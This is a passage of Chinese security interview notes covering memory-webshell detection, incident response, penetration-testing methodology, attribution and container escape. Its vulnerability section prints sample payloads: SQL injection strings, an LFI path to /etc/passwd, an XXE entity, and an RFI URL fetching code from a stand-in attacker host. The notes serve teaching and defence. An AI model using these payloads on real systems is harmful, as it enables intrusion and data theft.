(Memory-Resident Webshell):概念: 指不依赖于在服务器磁盘上写入 Webshell 文件(如 .jsp 文件),而是通过 Java 的动态特性(如 Agent, Instrumentation, Servlet API, Spring Controller 动态注册等)将恶意代码(通常是一个能接收命令执行的后门)直接注入到正在运行的 Java 进程(JVM)内存中。优点(对攻击者): 更隐蔽,传统基于文件的 Webshell 检测工具难以发现,重启应用服务器可能会丢失(除非有持久化手段)。分析工具 (Analysis Tools):动态分析/在线诊断工具 (需Attach到目标JVM进程):arthas:阿里巴巴开源的 Java 诊断利器。可以通过命令行实时查看 JVM 信息、类加载情况、方法调用、内存状态等。thread: 查看线程状态,查找可疑线程活动。sc -d <ClassName>: 查看类的详细信息,包括加载它的 ClassLoader。内存马可能由自定义的 ClassLoader 加载。sm <ClassName> <MethodName>: 查看方法的字节码。mc <ClassName> <MethodName>: 反编译方法源码。redefine: 热更新类的字节码(可用于移除恶意代码)。关键命令(排查内存马):通过 MBean 查看 Tomcat/Jetty 等容器注册的 Servlet 和 Filter (mbean javax.servlet.ServletContext 然后查看 attributes)。内存马常通过动态注册 Filter 或 Servlet 实现。在 Spring 环境中,查看动态注册的 Controller, Interceptor。jad <ClassName>: 反编译整个类,寻找可疑逻辑。JDK 自带命令行工具:jps 或 jps -l: 列出 Java 进程及其 PID。jstack <pid>: 查看线程堆栈,分析线程在做什么。jmap -heap <pid>: 查看堆内存概况。jmap -dump:format=b,file=dump.hprof <pid>: 生成堆内存快照 (Heap Dump),用于离线分析。jinfo <pid>: 查看 JVM 参数和系统属性。离线分析工具 (分析 Heap Dump 文件):Eclipse Memory Analyzer Tool (MAT):强大的内存分析工具。可以打开.hprof文件,查找内存泄漏,最重要的是可以检查对象实例。搜索可疑类名(如 Servlet, Filter, ClassLoader, Agent, 常见的 Webshell 关键字如 Shell, Executor, Bypass 等)。查找持有可疑字节数组 (byte[]) 或字符串 (String) 的对象,这些可能包含注入的恶意类或命令。分析 ClassLoader 结构,寻找非标准的 ClassLoader。JProfiler (商业软件): 功能类似 MAT,提供更友好的 UI 和更多分析功能。专门的内存马扫描工具:java-memshell-scanner (by c0ny1)cop.jar (by LandGrey)Hunter (by veine)这些工具通常封装了对常见内存马模式(如动态注册 Filter/Servlet/Listener, Agent 型等)的检测逻辑,可以直接扫描 Heap Dump 文件或 Attach 到运行中的 JVM。流量特征 (Traffic Characteristics):请求 URL 可能不存在对应文件: 内存马通常是通过 Filter 匹配所有请求,或动态注册一个 Servlet/Controller 映射到特定 URL Pattern。因此,访问日志中可能看到请求某个路径(如 /favicon.ico, /api/health, 甚至任意不存在的路径)得到了 200 OK 响应,并且伴随了恶意操作。请求参数/Headers/Body 中包含恶意载荷:可能有特定的密码参数/请求头(如 X-Pass: password)。POST 请求的 Body 中可能包含需要执行的命令、Base64 编码的代码、序列化数据等。GET 请求的参数中也可能带有命令或参数。响应内容异常: 正常请求可能返回了命令执行的结果,或者返回了与预期业务逻辑完全无关的内容。流量加密: 如果通信是 HTTPS,需要有解密能力(如部署了流量解密设备或在服务器端抓包)才能看到明文载荷。行为模式:可能先有一个触发内存马注入的请求(例如利用反序列化漏洞)。后续会有连接到内存马后门 URL 的请求,执行命令、上传/下载文件等。内存马排查处置思路:发现与确认:流量监控/NTA/WAF 告警: 检测到可疑的 Web 请求(如上述流量特征)。EDR 告警: 检测到可疑的 Java 进程行为(如执行命令、加载可疑类、连接恶意 IP)。日志审计: Web 访问日志出现请求不存在文件但成功的记录,或应用日志出现异常。安全扫描工具检测: 专门的内存马扫描工具发现可疑迹象。应急响应 - 抑制:隔离主机(可选但推荐): 防止横向移动或进一步危害。抓取证据:内存快照 (Heap Dump): jmap -dump,这是分析内存马的关键证据。进程信息: jstack, jinfo 等。相关日志: Web 访问日志、应用日志、系统日志。网络流量: 如果有条件,抓取可疑进程的网络流量。应急响应 - 分析排查:在线分析 (Arthas):检查 Filter/Servlet/Listener/Controller/Interceptor 列表,寻找可疑注册项。反编译可疑类的代码 (jad, mc)。查看 JVM 环境属性、线程堆栈。离线分析 (MAT/扫描工具):使用 MAT 或专用扫描工具分析 Heap Dump 文件,查找内存马特征(对象、类、字符串、ClassLoader)。关联分析:结合流量特征、日志记录、内存分析结果,确定内存马的类型(Filter 型、Servlet 型、Agent 型等)、触发方式(漏洞利用、后门等)、通信方式和后门地址/密码。应急响应 - 清除:重启 JVM 进程: 这是最快最直接的清除内存中恶意代码的方法。但是,如果内存马有持久化机制(例如修改了启动脚本、放置了 dropper 文件、利用了漏洞再次注入),重启后可能复现。找到并修复根源:如果是漏洞利用(如反序列化、Log4Shell)导致注入,必须修复漏洞(打补丁、升级组件、WAF 规则)。如果是通过弱口令、管理后台等方式注入,需要修改密码、加固权限。清除持久化: 如果发现有 dropper 文件或其他持久化机制,必须彻底清除。热更新移除(高级): 使用 arthas 的 redefine 命令尝试热更新移除恶意类或方法(有风险,可能导致应用不稳定)。最稳妥方式: 修复漏洞/加固后,从已知的干净源码/部署包重新部署应用。恢复与监控:恢复服务,并加强对该应用的监控(日志、流量、JVM 状态、文件完整性)。观察一段时间,确保内存马没有复现。9. 天眼监测办公网主机外联,应急需从哪些方面入手?场景描述: 公司的网络流量分析平台(NTA),比如启明星辰的天眼,检测到一台办公网电脑有可疑的外联行为(连接恶意 IP/域名、异常协议/端口、疑似 C2 流量等)。应急入手点(这是一个标准的终端应急响应流程,由 NTA 告警触发):告警确认与信息收集 (Alert Validation & Information Gathering):详细阅读天眼告警:告警类型/名称/规则: 天眼判断这是什么威胁?(例如:僵尸网络 C&C 通信、恶意软件下载、远控木马连接、数据窃密通道、扫描探测等)。时间戳: 外联发生的精确时间。源 IP 地址: 办公网主机的 IP。目标 IP 地址/域名: 连接的外部地址。目标端口/协议: 使用什么端口和协议通信?流量大小/会话时长: 传输了多少数据?连接持续了多久?威胁情报: 天眼关联的目标 IP/域名的信誉如何?是否为已知的恶意地址?初步判断: 根据告警信息,初步评估威胁的严重性和类型。定位资产和用户 (Asset & User Identification):IP 地址溯源:查询 DHCP 日志:根据告警中的源 IP 和时间戳,找到对应时间段使用该 IP 的主机的 MAC 地址。查询网络准入控制 (NAC) / 802.1x 日志:根据 IP 或 MAC 地址找到登录用户。查询资产管理系统 (CMDB):根据 IP 或 MAC 地址找到主机名、物理位置、负责人/使用人。获取主机和用户信息: 确定是哪台电脑(主机名)、归属于哪个员工。遏制风险 (Containment): (关键步骤,动作要快)网络隔离:立即断开该主机的网络连接!这是最有效的遏制手段。可以通过以下方式:物理拔网线。在交换机上禁用端口 (shutdown)。将其划分到隔离 VLAN。通过 EDR/NAC 客户端执行隔离策略。目的:阻止恶意软件继续与外部 C2 服务器通信(防止接收指令、发送数据)。防止恶意软件在内网横向扩散。现场/远程排查 (Investigation - Endpoint Focus):与用户沟通(如果适用且安全): 简单询问用户最近是否有异常操作(点击可疑邮件/链接、安装软件、浏览奇怪网站、电脑变慢等)。注意不要惊动潜在的内部恶意行为者。系统快照/内存取证(可选,根据策略): 在进行详细排查前,可以先制作硬盘镜像或抓取内存镜像,供后续深入取证分析,避免排查过程破坏证据。主机内部排查:查找网络连接进程 (Process Identification for Network Activity):Windows: netstat -ano | findstr "<目标IP或端口>" 找到对应的 PID。Linux/macOS: ss -antup | grep "<目标IP或端口>" 或 lsof -i @<目标IP> 找到 PID。分析可疑进程 (Process Analysis):使用任务管理器、Process Explorer (Win) 或 ps aux | grep <PID>, pstree -p <PID> (Linux/Mac) 查看进程名、路径、启动参数、父进程、用户。判断进程是否合法,是否伪装成系统进程,是否位于异常路径。检查文件系统 (File System Analysis):检查进程对应的可执行文件(计算 Hash 上传 VirusTotal/威胁情报平台分析、strings 查看、检查数字签名)。检查进程相关的其他文件(配置文件、日志、临时文件)。检查用户目录(下载、文档、桌面)、临时目录 (%TEMP%, /tmp) 是否有可疑文件。查看最近修改或创建的文件。检查持久化机制 (Persistence Mechanisms):Windows: Autoruns 工具是首选,检查注册表启动项、计划任务、服务、驱动程序、DLL 劫持等。Linux: crontab -l, /etc/cron.*, systemctl list-unit-files --state=enabled, /etc/init.d/, ~/.bashrc 等。macOS: launchctl list, LaunchAgents, LaunchDaemons。检查系统日志 (Log Analysis):Windows Event Logs (System, Security, Application), PowerShell 日志。重点关注进程创建 (4688)、登录事件、错误报告。Linux: /var/log/syslog, /var/log/auth.log 等。macOS: Console.app / log show。安全软件扫描与日志 (Security Software Scan & Logs):运行已安装的杀毒软件或 EDR 进行全盘扫描。查看 EDR/杀软的隔离区和历史检测日志。威胁研判与处置 (Threat Analysis & Eradication):综合判断: 结合天眼告警、主机排查结果,判断威胁的性质(木马、病毒、勒索、挖矿、APT?)、来源(钓鱼邮件、漏洞利用、U盘、恶意网站?)、影响范围(是否已横向移动?数据是否泄露?)。清除威胁:终止恶意进程。删除恶意文件和持久化项。修复被篡改的配置。必要时重装系统: 如果感染严重、无法彻底清除或怀疑有 Rootkit,备份数据后重装系统是最安全的选择。修改密码: 强制用户修改本机密码以及在受感染期间可能登录过的其他系统/应用密码。恢复与监控 (Recovery & Monitoring):系统加固: 确保操作系统和应用软件都打上了最新的安全补丁。恢复网络: 在确认主机干净后,将其重新接入网络。加强监控: 对该主机进行一段时间的重点监控(EDR 策略调优、网络流量监控),确保威胁已被完全清除。总结与改进 (Lessons Learned):记录完整的应急响应过程和发现。分析事件根本原因,是哪个环节出现了问题?改进安全策略(如加强邮件过滤、终端防护、用户培训、补丁管理、网络分段)。评估天眼等监控工具的规则有效性,是否需要调整。10. 渗透思路,包括 cdk 工具漏洞库中漏洞的相关原理?渗透测试思路 (Penetration Testing Methodology):这是一个结构化的过程,模拟真实攻击者可能采取的步骤来发现和利用系统中的安全漏洞。通常遵循以下阶段:前期交互阶段 (Pre-engagement Interactions):明确目标和范围 (Scoping): 与客户沟通,确定测试的目标系统、IP 地址段、域名、应用,以及允许使用的测试手段(例如是否允许 DoS 测试、是否允许社会工程学)。这是最重要的一步,避免越权和法律风险。授权 (Authorization): 获得客户的书面授权。规则制定 (Rules of Engagement): 确定测试时间窗口、紧急联系人、信息报告方式等。情报搜集阶段 (Reconnaissance / Information Gathering):被动信息收集 (Passive Recon):不直接与目标系统交互。利用搜索引擎(Google Hacking Dorks)、社交媒体、招聘网站、新闻报道等收集目标组织信息(人员架构、技术栈、合作伙伴)。查询 DNS 记录 (A, MX, NS, TXT)、WHOIS 信息、ASN 信息。使用 Shodan, Censys, ZoomEye, Fofa 等网络空间搜索引擎查找暴露在公网的资产(IP、端口、服务、设备类型)。搜索 GitHub, GitLab 等代码托管平台查找可能泄露的源代码、配置文件、API 密钥、访问凭证。主动信息收集 (Active Recon):与目标系统进行交互。端口扫描 (Port Scanning): 使用 Nmap 等工具探测目标主机开放的 TCP/UDP 端口。服务识别与版本探测 (Service Enumeration & Version Detection): 识别开放端口上运行的服务及其版本号(如 Web Server: Apache 2.4.x, SSH: OpenSSH 7.x, DB: MySQL 5.x)。操作系统探测 (OS Fingerprinting): 尝试识别目标主机的操作系统类型和版本。Web 应用探测: 目录/文件扫描 (Dirb, Gobuster, ffuf), 技术栈识别 (Wappalyzer), API 端点发现。漏洞扫描 (Vulnerability Scanning): 使用自动化扫描器(如 Nessus, OpenVAS, Nikto, Acunetix, Burp Suite Scanner,或者这里提到的“CDK”工具可能就属于此类)对发现的资产进行初步的漏洞扫描。威胁建模与漏洞分析阶段 (Threat Modeling & Vulnerability Analysis):基于收集到的信息(开放端口、服务版本、Web 应用结构、扫描器结果),分析潜在的攻击路径和脆弱点。手动验证扫描结果: 自动化扫描器可能存在误报,需要人工确认漏洞是否真实存在、是否可被利用。深入分析:针对特定服务或应用进行更细致的分析,例如:Web 应用:检查 OWASP Top 10 漏洞(注入、失效认证、XSS、XXE、不安全的反序列化、配置错误等)。特定服务版本:查询 CVE 数据库 (Mitre CVE, NVD, Exploit-DB) 寻找已公开的漏洞和利用代码 (Exploit)。渗透攻击(利用)阶段 (Exploitation):尝试获取访问权限:利用已确认的漏洞进行攻击。使用 Metasploit Framework 等工具包进行自动化或半自动化利用。手动编写或修改 Exploit 代码。尝试弱口令、默认口令、密码喷洒 (Password Spraying)。利用 SQL 注入获取数据或 Shell。利用 RCE 漏洞执行命令。利用文件包含漏洞读取敏感文件或获取 Shell。利用 XSS 窃取用户 Cookie 或执行恶意脚本。目标: 获得立足点 (Foothold),即在目标系统上获得一个初始的、可能是低权限的访问。后渗透(权限提升与内网渗透)阶段 (Post-Exploitation):权限提升 (Privilege Escalation):如果初始权限较低(如 www-data,普通用户),尝试提升到更高权限(root, Administrator, SYSTEM)。利用内核漏洞 (Kernel Exploits)。利用配置错误(如 SUID/GUID 文件、不安全的 sudo 配置、服务权限配置不当)。利用弱密码或存储在系统中的凭据。信息收集(内部): 收集内网信息(网络拓扑、用户信息、密码 HASH、配置文件、敏感数据)。横向移动 (Lateral Movement):利用已获得的权限和凭据,尝试访问和控制内网中的其他主机或服务器。使用 PsExec, WMI, SSH 等。利用 Pass-the-Hash / Pass-the-Ticket (Windows AD 环境)。利用内网服务漏洞。维持访问 (Persistence): 建立后门或机制,以便在系统重启或被发现后仍能重新获得访问权限(如添加计划任务、服务、后门账户、Webshell)。清除痕迹 (Covering Tracks): (在授权测试中通常有限制或不执行)清除日志、修改文件时间戳等。报告阶段 (Reporting):整理结果: 详细记录所有发现的漏洞、利用过程、获取的权限和数据、潜在的业务风险。编写报告:清晰、准确地向客户展示测试结果,包括:执行摘要 (Executive Summary):面向管理层,概述主要风险。技术细节 (Technical Details):描述漏洞原理、复现步骤、利用代码/截图。风险评估 (Risk Assessment):评估漏洞的严重程度和可能造成的影响。修复建议 (Recommendations):提供具体、可操作的修复方案。“CDK 工具漏洞库中漏洞”的相关原理:由于不确定 "CDK" 具体指哪个工具,这里假设它是一个漏洞扫描与利用工具集(类似 Nessus + Metasploit 的概念)。其漏洞库中的漏洞原理,就是各种常见和已公开的安全漏洞的基本原理:原理举例(同 Q8 中类似,但更侧重于“利用”角度):SQL 注入 (SQLi):原理: Web 应用未对用户输入进行充分过滤或参数化,直接拼接到 SQL 查询语句中,导致用户可以控制 SQL 语句的逻辑。利用: 构造恶意的 SQL 片段,如 ' OR '1'='1 (绕过认证), UNION SELECT user, password FROM users (拖库), '; EXEC xp_cmdshell('net user') (命令执行,某些数据库)。远程代码执行 (RCE) - 如反序列化:原理: 应用反序列化了来自用户的不可信数据流,触发了 classpath 中存在的 "gadget chain",最终执行了任意 Java 代码。利用: 使用 ysoserial 等工具生成针对特定库(如 Commons Collections)的恶意序列化 Payload,通过网络发送给目标应用的脆弱接口。文件包含 (LFI/RFI):原理: 应用允许用户指定要包含的文件路径,但未做严格限制,导致可以包含服务器上的任意文件 (LFI) 或远程服务器上的文件 (RFI)。利用 (LFI): 构造路径如 ../../../../etc/passwd 读取敏感文件。结合文件上传或日志注入等技巧可能 RCE。利用 (RFI): 构造 URL 如 http://attacker.com/evil.txt (需服务器配置允许),让服务器包含并执行远程服务器上的恶意代码。XXE (XML External Entity):原理: XML 解析器配置为允许处理外部实体,攻击者可以通过 DTD (文档类型定义) 引入外部实体来读取本地文件或发起 SSRF。利用: 构造包含恶意 DTD 的 XML 数据,如 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ... &xxe; 来读取文件。弱口令/默认口令:原理: 服务(如 SSH, RDP, FTP, 数据库, Web 管理后台)使用了简单、易猜测或出厂默认的用户名和密码。利用: 使用 Hydra, Medusa 等工具,配合字典进行暴力破解或针对性猜测。已知组件漏洞 (N-Day Vulnerability):原理: 目标系统使用的软件(操作系统、Web 服务器、中间件、应用框架、库)存在已公开的 CVE 漏洞,且尚未修复。利用: 在 Exploit-DB, Metasploit 等库中找到对应的漏洞利用模块或脚本,直接运行以获取权限。11. 对溯源的了解?内网外联处理思路,对攻击者溯源?对溯源的了解:溯源(Traceback / Attribution)在网络安全中通常指追踪网络攻击的来源、路径、使用的工具、技术、基础设施,并尽可能确定攻击者身份(个人、组织、国家背景)的过程。它包含不同层面:事件溯源(内部溯源): 这是应急响应的核心部分,目标是在受害者网络内部找到攻击的起点和路径。确定最初的失陷主机(Patient Zero)。分析攻击者如何在内网进行横向移动。找到攻击者使用的恶意软件、工具、脚本和持久化机制。目的: 理解攻击过程,彻底清除威胁,修复漏洞,加固系统,防止再次发生。攻击者基础设施溯源(外部溯源): 这是追踪攻击者在互联网上使用的资源。分析 C2 服务器的 IP 地址、域名。追踪攻击者使用的跳板机、代理服务器。分析恶意软件样本,提取其中硬编码的 C2 地址、配置信息。关联分析:这个 IP/域名还被用在哪些其他攻击活动中?属于哪个已知的恶意基础设施集群?目的: 封禁恶意 IP/域名,了解攻击者的资源范围,为威胁情报提供数据。攻击者身份溯源(归因): 这是最困难的一步,目标是确定谁是幕后黑手。分析攻击者的 TTPs (Tactics, Techniques, Procedures):使用的漏洞、工具、攻击手法是否与已知的 APT 组织或黑产团伙的画像一致?(参考 MITRE ATT&CK 框架)分析恶意软件代码风格、注释、元数据、编译时间戳等线索。结合地缘政治背景、攻击目标行业等进行推测。通过 OSINT(开源情报)查找与攻击者相关的网络身份(ID、邮箱、社交媒体账号等)。目的: 了解对手,预判未来攻击,提供战略级威胁情报。(通常需要国家级资源或大型安全厂商的专业团队才能有效进行)内网外联处理思路(即内部溯源/应急响应):这个思路在之前的 Q1, Q3, Q9 中有涉及,这里总结一下核心流程:检测/告警: 通过防火墙、NTA、EDR 等发现异常外联。信息收集: 获取外联的详细信息(源IP、目标IP/域名、端口、协议、时间、数据量、告警规则)。定位源主机: 根据源 IP 找到内网的具体主机(DHCP 日志、资产管理等)。抑制/遏制: 立即隔离该主机,阻止其继续外联和横向移动。主机排查: 登录主机,查找发起外联的进程、分析恶意文件、检查持久化机制、审查日志。根除: 清除恶意软件、修复漏洞、移除持久化。恢复: 重装系统或从备份恢复,修改密码,重新上线并监控。总结: 分析根本原因,改进防御措施。对攻击者溯源(外部溯源/归因)的思路:这通常发生在内部应急响应之后,利用收集到的信息进行更深入的追踪:收集指标 (Indicators of Compromise - IOCs):恶意 IP 地址、域名、URL。恶意文件的 Hash 值 (MD5, SHA1, SHA256)。攻击中使用的特定工具、恶意软件家族名称。钓鱼邮件的发送者、主题、附件名称。分析恶意基础设施:IP 地址分析:使用 WHOIS 查询注册信息(通常是 ISP 或云服务商)。使用 GeoIP 查看地理位置。使用威胁情报平台(VirusTotal, ThreatBook, 微步在线等)查询信誉、关联的恶意活动/样本/域名。使用被动 DNS (Passive DNS) 数据查询该 IP 历史上解析过哪些域名,现在正在解析哪些域名。判断 IP 类型:是 VPS、独立服务器、家庭宽带、被攻陷的服务器还是 TOR 出口节点?域名分析:WHOIS 查询注册人信息(通常是匿名的或代理注册)。关注注册商、注册时间、过期时间。威胁情报平台查询信誉、关联 IP、子域名。被动 DNS 查询历史解析记录。检查域名是否使用了 CDN 服务隐藏真实 IP。检查 SSL/TLS 证书信息(签发机构、序列号、使用者信息,有时可关联)。分析恶意软件/工具:静态分析:strings、反汇编、反编译,查找硬编码的 C2 地址、配置、特殊标记、代码结构。动态分析(沙箱):观察其网络行为(连接的 C2、下载的后续载荷)、文件操作、注册表操作、持久化方式。代码比对:与已知的恶意软件家族进行代码相似度比对,判断是否为已知组织的变种或新工具。分析 TTPs:将攻击中观察到的手法(如:利用了哪个 CVE 漏洞、使用了什么类型的钓鱼诱饵、如何进行内网移动、使用什么工具进行数据窃取)映射到 MITRE ATT&CK 框架。与威胁情报报告中描述的已知 APT 组织或攻击团伙的 TTPs 进行比对。OSINT 与关联扩展:将在分析过程中发现的任何潜在线索(如攻击者遗留的 ID、邮箱、特殊字符串)在 Google、社交媒体、技术论坛、暗网上进行搜索。利用 Maltego 等工具对收集到的信息进行可视化关联分析,寻找不同 IOC 之间的联系。注意事项:攻击者会使用各种手段隐藏身份(代理、VPN、TOR、跳板机、假信息注册)。攻击者可能故意留下“假旗”(False Flag)信息误导溯源方向。完整的身份归因非常困难,对于多数企业而言,重点应放在追踪和封锁恶意基础设施,理解 TTPs 以改进防御。12. 怎么判断流量是否真实攻击?判断一段网络流量是否为真实攻击,通常需要结合多个维度的信息,而不是单一指标。以下是一些关键的判断依据:威胁情报匹配 (Threat Intelligence Match):流量的源 IP、目标 IP 或域名是否存在于已知的恶意地址库(黑名单)中?流量是否命中了 IDS/IPS/NTA/WAF 等安全设备的特定攻击特征库(签名)?判断: 如果命中高置信度的威胁情报或攻击签名,则为真实攻击的可能性非常高。上下文关联 (Contextual Analysis):来源合理性: 内网的源 IP 是否应该发起这样的连接?(例如,一个从不访问外网的数据库服务器突然连接到一个境外的奇怪 IP)目标合理性: 目标 IP/域名对于源主机来说是否是正常的业务目标?(例如,办公电脑访问色情网站、赌博网站、或者一个从未听说过的文件共享网站)端口/协议异常: 是否使用了非标准端口进行通信(例如用 80 端口传非 HTTP 流量)?是否出现了不常见的协议或者已知被滥用于 C2 的协议(如 DNS Tunneling, ICMP Tunneling)?时间规律: 流量是否发生在非工作时间?是否呈现出周期性的、有规律的心跳特征(常见于 C2 通信)?数据量异常: 是否有异常的大量数据外发(可能的数据泄露)?或者持续的、极小的数据包(可能的 C2 心跳)?载荷分析 (Payload Analysis): (需要有 DPI 能力或解密能力)流量的载荷中是否包含已知的攻击代码(Exploit)、Webshell 特征、恶意脚本、病毒特征码?载荷是否经过了混淆或编码(Base64, Hex 等),解码后是否为恶意指令?是否包含敏感的系统命令或路径信息?行为模式分析 (Behavioral Analysis):流量模式是否符合典型的攻击行为?扫描探测: 大量针对不同端口或主机的连接尝试。漏洞利用: 在短时间内发送特定构造的数据包到某个服务端口。C2 通信: 周期性的、低调的连接到固定或动态变化的 C2 地址。数据外泄: 持续的、大流量的出站连接。横向移动: 内网主机之间出现异常的连接尝试(如 SMB, RDP, SSH 爆破)。与端点活动关联 (Endpoint Correlation):该流量是否与源主机上检测到的恶意进程、可疑脚本执行、用户异常行为(如点击钓鱼链接)相关联?(需要 EDR 或主机日志配合)目的主机是否正好存在该流量试图利用的漏洞?基线对比 (Baseline Comparison):该流量与该主机/用户/网络区域平时的正常流量模式相比,是否存在显著的偏差?(需要有学习和建立基线的能力)误报可能性排除 (False Positive Check):是否是安全扫描器、渗透测试活动产生的流量?是否是某些 P2P 软件、游戏、或特殊业务应用的正常通信被误判?是否是安全设备规则过于宽泛或特征库过时导致的误报?目标 IP 是否为大型云服务商或 CDN 的地址,可能同时托管了正常和恶意内容?总结: 判断真实攻击往往是一个综合分析的过程,需要结合威胁情报、上下文、载荷内容(如果可见)、行为模式、端点信息,并排除误报的可能性。单一维度的异常不一定就是攻击,但多个维度同时指向异常时,真实攻击的可能性就大大增加。13. 如果有安全设备,报有相关的 shell(假设是一个无文件的 shell),应该如何做排查?场景描述: EDR、NTA 或其他安全设备检测到了疑似 Shell 的活动(如反向 Shell 连接、执行了高危命令),但检查文件系统并未发现对应的恶意文件(Webshell、木马程序等)。这通常指向“无文件攻击”或“内存马”。排查思路(重点在于内存、进程、日志和网络):详细分析告警信息:是哪个安全设备报的警?(EDR 的信息通常更丰富,能直接关联进程)告警的具体内容是什么?检测到了哪个命令执行?哪个网络连接?关联的进程是哪个?(例如 powershell.exe, cmd.exe, svchost.exe, javaw.exe, httpd.exe 等)进程路径是什么?告警发生的时间点?涉及的源/目标 IP 和端口?立即遏制:将受影响的主机进行网络隔离,防止进一步的命令执行和横向移动。实时主机排查(关键步骤):深入分析关联进程:父子关系: 使用 Process Explorer (Win), pstree (Linux) 查看该进程的父进程是谁?是如何启动的?是否有可疑的父进程?命令行参数: 查看该进程启动时的完整命令行参数。无文件攻击常常在命令行中包含长串的、经过编码(Base64)或混淆的脚本。网络连接: 使用 netstat -ano (Win), ss -antup (Linux) 确认该进程是否建立了告警中提到的网络连接(反向 Shell?)。加载的模块/DLL: 检查进程加载的动态链接库,是否有非标准或可疑的模块?(Process Explorer 可以看)内存分析(进程级):使用 Process Explorer 或 procdump (Win) dump 该进程的内存。在内存 dump 中搜索可疑字符串(如 "cmd.exe", "/bin/bash", IP 地址, 常见命令, "powershell -enc" 等)。寻找可能被注入的代码段。检查脚本执行痕迹:PowerShell (Win):检查 PowerShell 事件日志(需要开启 Module Logging (ID 4103), Script Block Logging (ID 4104))。Script Block Logging 特别重要,它会记录下执行的脚本块原文,即使经过混淆也能看到解混淆后的代码。检查 PowerShell 历史记录文件 (见 Q2)。WMI (Win): 检查 WMI 事件订阅、消费者,攻击者可能通过 WMI 执行命令或实现持久化。 (Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding 等命令)Office 宏 (Win): 如果怀疑入口点是 Office 文档,检查是否有可疑的 VBA 宏在运行。检查内存中的其他异常:使用 Get-InjectedThread (PowerShell) 等工具尝试发现进程注入。查找是否存在无文件句柄的进程或线程。利用高级工具进行内存取证(如果实时排查无法确定):获取完整内存镜像: 使用 DumpIt, FTK Imager Lite, Redline 等工具获取整个系统的 RAM 镜像。使用 Volatility / Rekall 进行分析:这是分析内存镜像最强大的工具。pslist / pstree: 查看进程列表和关系。netscan: 查看网络连接记录。cmdscan / consoles: 查找历史命令执行记录。powershell: 分析 PowerShell 活动痕迹。malfind: 查找注入的代码,这是发现无文件恶意代码的关键插件。它会寻找那些不符合正常 PE 结构、权限异常(如 RWX)的内存区域。dlllist / ldrmodules: 查看加载的 DLL,寻找被隐藏或注入的 DLL。memmap: 查看进程内存映射。检查持久化机制:无文件攻击也需要持久化。检查常见的位置:注册表 Run 键、计划任务、WMI 事件订阅、服务等。Autoruns (Win) 工具依然非常有用。日志审计:Windows Event Logs: Security (4688 进程创建 + 命令行,4624/4625 登录),System,Application,PowerShell 日志,Sysmon 日志(如果部署了,提供极有价值的详细信息,如网络连接、进程注入、WMI 活动)。Linux Logs: /var/log/syslog, auth.log, auditd 日志。确定根源:这个无文件 Shell 是如何被触发的?是钓鱼邮件中的宏?是漏洞利用(例如 Web 漏洞触发了命令执行)?是用户点击了恶意 LNK 文件?清除与恢复:终止恶意进程/线程。移除发现的持久化机制。修复入口点漏洞或加固配置。重启可能无效或不彻底: 简单的重启可能可以清除掉某些内存中的代码,但如果存在持久化机制,重启后会再次执行。重装系统通常是推荐的: 对于确认被植入后门(即使是无文件的)的主机,重装系统是最保险的清除方式。14. 诱导(攻击)中在 windows 上,处置需要哪些方面入手?场景描述: 明确是由于社会工程学(诱导)导致一台 Windows 主机失陷。可能是用户点击了钓鱼邮件附件、运行了恶意下载、在假冒网站输入了凭据等。处置入手点(应急响应流程):了解诱导细节(识别):方式确认: 和用户沟通(如果合适),或者通过技术手段(邮件网关日志、浏览器历史、EDR 记录)确认诱导的具体方式。是哪封邮件?哪个网站?哪个文件?具体操作是什么?时间点?影响初步评估: 用户是否运行了程序?是否输入了密码?是否允许了远程访问?电脑出现了什么异常?立即遏制:断开网络: 将受害的 Windows 主机从网络隔离。限制用户权限(如果尚未隔离): 暂时禁用该用户的域账号或 VPN 访问权限(如果怀疑凭据泄露)。凭据安全处置:强制修改密码: 立即要求用户修改该 Windows 主机的登录密码。排查密码复用: 询问用户该密码是否也用于其他系统(邮箱、VPN、内部应用、银行账户等),所有使用相同或相似密码的账户都需要立即修改密码。检查并强制启用 MFA: 确保用户所有关键账户(特别是域账户、邮箱、VPN)都开启了多因素认证。会话注销: 在相关系统后台(如 O365 管理中心、VPN 管理后台)强制注销该用户的所有活动会话/令牌。端点排查与分析:恶意软件分析: 如果用户运行了文件,找到该文件(可能在下载目录、临时目录、邮件附件缓存),获取其 Hash,提交到 VirusTotal 等平台分析,或在沙箱中运行。进程分析: 检查任务管理器、Process Explorer,寻找异常进程(名称、路径、CPU/内存占用、无签名)。网络连接分析: netstat -ano 查看是否有可疑的对外连接(C2 通信、数据外传)。持久化检查: 使用 Autoruns 检查注册表启动项、计划任务、服务等,寻找恶意软件设置的自启动项。文件系统检查: 查找在诱导事件发生时间点前后创建或修改的可疑文件(用户目录、临时目录、系统目录)。日志审计: 查看 Windows 事件日志(Security 4688, Application, System)、PowerShell 日志、浏览器历史和下载记录。杀毒软件/EDR 扫描: 进行全盘扫描,检查隔离区和检测日志。评估横向移动和数据泄露风险:登录活动审计: 检查域控或其他服务器的安全日志,看是否有来自该失陷主机的异常登录尝试(成功或失败),或者使用该用户凭据的异常登录。网络流量审计: 检查防火墙、NTA 日志,看该主机在失陷期间是否有异常的大量数据传出。根除与恢复:清除恶意软件: 终止进程、删除文件、移除持久化项。系统恢复:如果只是凭据泄露,未发现恶意软件运行,修改密码和加固后可能无需重装。如果确认有恶意软件运行过,强烈建议备份用户数据后,格式化硬盘并重装操作系统。这是最彻底的清除方式。数据恢复: 从干净的备份中恢复用户数据。事后改进:用户再教育: 针对此次诱导手法,对该用户及可能的全员进行安全意识再培训。技术加固: 评估是否需要加强邮件过滤规则、Web 访问控制策略、终端 EDR 策略、部署更严格的宏策略等。15. 容器逃逸有哪些点?挂载逃逸原理?容器逃逸有哪几种方式?一个容器在安全设备上,有人操作,有恶意攻击,要怎么排查?容器逃逸的风险点 (Vulnerable Points):容器逃逸指在容器内部执行的进程,突破了由 Namespace、Cgroups、Capabilities 等技术提供的隔离限制,获得了对宿主机或其他容器的访问权限。风险点主要来自:危险的配置 (Misconfigurations):特权容器 (--privileged): 这是最危险的配置。它几乎禁用了所有安全隔离,容器内进程拥有宿主机 root 级别的权限,可以直接访问宿主机设备 (/dev)、加载内核模块等。敏感目录挂载 (Sensitive Host Path Mounts):挂载 Docker Socket (-v /var/run/docker.sock:/var/run/docker.sock): 允许容器内进程通过 socket 与宿主机的 Docker 守护进程通信,从而控制宿主机上的 Docker(创建/删除容器、执行命令等)。挂载宿主机根目录 (-v /:/host): 允许容器直接读写宿主机文件系统。挂载宿主机 /proc (-v /proc:/host_proc 或使用 --pid=host): 